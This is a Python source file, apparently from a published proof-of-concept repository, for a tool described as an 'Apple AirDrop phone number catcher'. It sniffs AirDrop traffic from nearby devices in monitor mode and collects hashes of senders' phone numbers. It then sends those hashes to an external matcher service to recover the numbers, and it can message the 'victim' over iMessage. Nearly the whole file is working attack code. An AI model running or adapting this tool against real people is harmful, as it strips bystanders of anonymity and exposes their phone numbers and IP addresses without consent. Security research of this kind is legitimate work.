/airdrop_leak.py

https://github.com/hexway/apple_bleee · Python · 134 lines · 100 code · 21 blank · 13 comment · 24 complexity · c37ffa2845bae688a77370975a8db8eb MD5 · raw file

  1. #!/usr/bin/env python3
  2. # Author: Dmitry Chastuhin
  3. # Twitter: https://twitter.com/_chipik
  4. # web: https://hexway.io
  5. # Twitter: https://twitter.com/_hexway
  6. # !!!!!!!!
  7. # Don't forget to install https://github.com/seemoo-lab/owl before using this script
  8. # 1. Install owl
  9. # 2. iwconfig wlan0 mode monitor
  10. # 3. ip link set wlan0 up
  11. # 4. owl -i wlan0 -N
  12. import time
  13. import json
  14. import hashlib
  15. import argparse
  16. import requests
  17. from threading import Thread, Timer
  18. from opendrop2.cli import AirDropCli
  19. from opendrop2.server import get_devices
  20. from requests.packages.urllib3.exceptions import InsecureRequestWarning
  21. help_desc = '''
  22. Apple AirDrop phone number catcher
  23. ---chipik
  24. '''
  25. requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  26. parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter)
  27. parser.add_argument('-c', '--check_hash', action='store_true', help='Get phone number by hash')
  28. parser.add_argument('-n', '--check_phone', action='store_true', help='Get user info by phone number (TrueCaller/etc)')
  29. parser.add_argument('-m', '--message', action='store_true', help='Send iMessage to the victim')
  30. args = parser.parse_args()
  31. base_url = '' # URL to hash2phone matcher
  32. imessage_url = '' # URL to iMessage sender (sorry, but we did some RE for that :) )
  33. verify = False
  34. results = {}
  35. if args.message:
  36. if not imessage_url:
  37. print("You have to specify imessage_url if you want to send iMessages to the victim")
  38. exit(1)
  39. if args.check_phone:
  40. # import from TrueCaller API lib (sorry, but we did some RE for that :))
  41. print("Sorry, but we don't provide this functionality as a part of this PoC")
  42. exit(1)
  43. if args.check_hash:
  44. if not base_url:
  45. print("You have to specify base_url if you want to match hashes to phones")
  46. exit(1)
  47. def get_phone(hash):
  48. global phone_number_info
  49. r = requests.get(base_url, params={'hash': hash}, verify=verify)
  50. if r.status_code == 200:
  51. result = r.json()
  52. return result['candidates']
  53. else:
  54. print("Something wrong! Status: {}".format(r.status_code))
  55. def start_listetninig():
  56. print("[*] Looking for AirDrop senders...")
  57. AirDropCli(["receive"])
  58. def get_hash(data):
  59. return hashlib.sha256(data.encode('utf-8')).hexdigest()
  60. def get_names(phone, lat=False):
  61. name, carrier, region = get_number_info_TrueCaller('+{}'.format(phone), lat)
  62. return name, carrier, region
  63. def send_imessage(tel, text):
  64. data = {"token": "",
  65. "destination": "+{}".format(tel),
  66. "text": text
  67. }
  68. r = requests.post(imessage_url + '/imessage', data=json.dumps(data), verify=verify)
  69. if r.status_code == 200:
  70. print("[*] iMessage sent")
  71. elif r.status_code == 404:
  72. print("[*] iMessage failed")
  73. else:
  74. print(r.content)
  75. print("Something wrong! Status: {}".format(r.status_code))
  76. thread2 = Thread(target=start_listetninig, args=())
  77. thread2.daemon = True
  78. thread2.start()
  79. # OMG i'm a programmer loop here
  80. while 1:
  81. time.sleep(5)
  82. devs = get_devices()
  83. if len(devs):
  84. for dev in devs:
  85. if dev["phone"] not in results.keys():
  86. if dev["hash"]:
  87. if args.check_hash:
  88. ph_candidates = get_phone(dev["hash"][:6])
  89. for candidate in ph_candidates:
  90. if dev["hash"] == get_hash(candidate):
  91. dev["phone"] = candidate
  92. results[dev["phone"]] = dev
  93. if args.check_phone:
  94. name, carrier, region = get_names(dev["phone"], True)
  95. print(
  96. "Someone with phone number \033[92m{} ({})\033[0m and ip \033[92m{}\033[0m has tried to use AirDrop".format(
  97. dev["phone"], name, dev["ip"]))
  98. if args.message:
  99. send_imessage(dev["phone"],
  100. "Hi, {}! Have you tried to send smth via AirDrop?".format(name))
  101. else:
  102. print(
  103. "Someone with phone number \033[92m{}\033[0m and ip \033[92m{}\033[0m has tried to use AirDrop".format(
  104. dev["phone"], dev["ip"]))
  105. if args.message:
  106. send_imessage(dev["phone"],
  107. "Hi {}! Have you tried to send smth via AirDrop?".format(
  108. dev["phone"]))
  109. else:
  110. print("Someone with phone number hash \033[92m{}\033[0m has tried to use AirDrop".format(
  111. dev["hash"]))
  112. else:
  113. print("We've got an empty hash :/")